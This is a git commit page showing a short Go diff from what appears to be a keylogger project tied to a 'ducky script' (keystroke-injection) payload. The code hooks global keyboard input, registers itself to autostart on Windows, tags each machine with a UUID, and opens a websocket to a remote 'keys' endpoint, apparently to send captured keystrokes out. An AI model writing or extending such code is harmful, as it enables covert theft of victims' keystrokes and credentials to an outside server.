🚧 Moves most of logic in ducky script into one block

This commit is contained in:
Daniel Svitan
2025-05-13 20:52:01 +02:00
parent b955fec1ad
commit df143bc186
3 changed files with 11 additions and 17 deletions

View File

@@ -7,6 +7,7 @@ import (
"runtime"
"time"
"github.com/google/uuid"
"github.com/gorilla/websocket"
hook "github.com/robotn/gohook"
)
@@ -22,9 +23,9 @@ const (
)
func main() {
var id = getId()
var id = uuid.New()
if runtime.GOOS == "windows" {
registerAutostart()
}
var resource = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: fmt.Sprintf("/keys?id=%s", id)}